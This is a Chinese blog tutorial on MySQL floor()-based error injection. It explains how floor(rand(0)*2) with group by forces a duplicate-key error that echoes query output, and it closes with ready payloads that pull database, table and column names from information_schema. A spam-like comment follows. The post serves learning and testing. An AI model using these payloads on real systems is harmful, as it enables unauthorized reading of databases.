mmzkyl
MySQL floor() 报错注入
11/19
本文最后更新于2021年11月19日,已超过185天没有更新。如果文章内容或图片资源失效,请留言反馈,我会及时处理,谢谢!
随笔
- 2021-11-18 11:01
由于 floor() 报错注入的语句长度没有 extractvalue() 简短方便,所以以前基本不用 floor() 报错注入,不过最近突然发现 extractvalue() 与 updatexml() 的回显长度仅为:32位,这个有时候仅回显32位还是很致命的(32位MD5时无法正常回显的),而 floor() 报错注入回显长度为:64位,所以重新学习一下 floor() 报错注入
测试使用数据表信息
- test1 表
- num 表
基本关键词说明
- floor()
- floor() 函数说明:返回小于等于其指的最大整数
- 示例
select floor(0.999999); select floor(1); select floor(1.000001);
- rand()
- rand() 函数说明:在无传参时,产生一个 0~1 之间的随机数;在传参时(提供种子参数),产生数据是固定的
- 无传参示例
select rand() from num; # num 表具有10条数据
- 有传参示例
select rand(0) from num;
- group by
- group by 说明:根据 group by 指定的规则对于结果进行划分
- 示例
select count(*),name from test1 group by name
- group by 语句执行过程
基本关键词组合说明
- SQL语句
select floor(rand(0)*2) from num
- 由于 rand(0) 具有随机种子 0 ,所以其产生的数值序列是固定的,而配合 floor() 函数,便能够产生一个固定随机整数数值序列(0110110011)
- 至于为什么会 rand(0)*2 ,则是因为需要获取一个固定序列使得其按照 group by 分组时会产生报错,从而进行报错注入
- 由于 rand(0) 具有随机种子 0 ,所以其产生的数值序列是固定的,而配合 floor() 函数,便能够产生一个固定随机整数数值序列(0110110011)
- SQL语句
select count(*),floor(rand(0)*2)x from test1 group by x
- 该语句执行过程
- 其执行结果显然是存在问题的,因为数据库的主键是具有唯一性的,而上图所得的虚拟表的主键 x 的数值显然不具有唯一性,产生主键的冗余,从而产生报错。由于数据库的报错信息会将报错原因进行回显,所以利用此来进行报错注入。该语句执行结果如下图
- 该语句执行过程
注入语句
查询数据库
select count(*),concat(0x7e,(select database()),0x7e,floor(rand(0)*2))x from test1 group by x
- 执行结果
- 结果分析:该语句与仅仅是将查询到的数据库名称与 floor(rand(0)*2) 数值进行一个简单的拼接,其执行顺序以及原理与基本关键词组合的执行顺序是相同的
:---:|:--:|
原序列|拼接序列
0|~test~0
1|~test~1
1|~test~1
0|~test~0
1|~test~1
1|~test~1
0|~test~0
0|~test~0
1|~test~1
1|~test~1- 执行结果
floor() 报错注入语句集合
# 查询数据库名称 select count(*),concat(0x7e,(select database()),0x7e,floor(rand(0)*2))x from test1 group by x # 查询表名称 select count(*),concat(0x7e,(select table_name from information_schema.tables where table_schema='test' limit 0,1),0x7e,floor(rand(0)*2))x from test1 group by x # 查询列名称 select count(*),concat(0x7e,(select column_name from information_schema.columns where table_name='test1' limit 1,1),0x7e,floor(rand(0)*2))x from test1 group by x
Your way of explaining everything in this post is actually pleasant, all can effortlessly understand
it, Thanks a lot.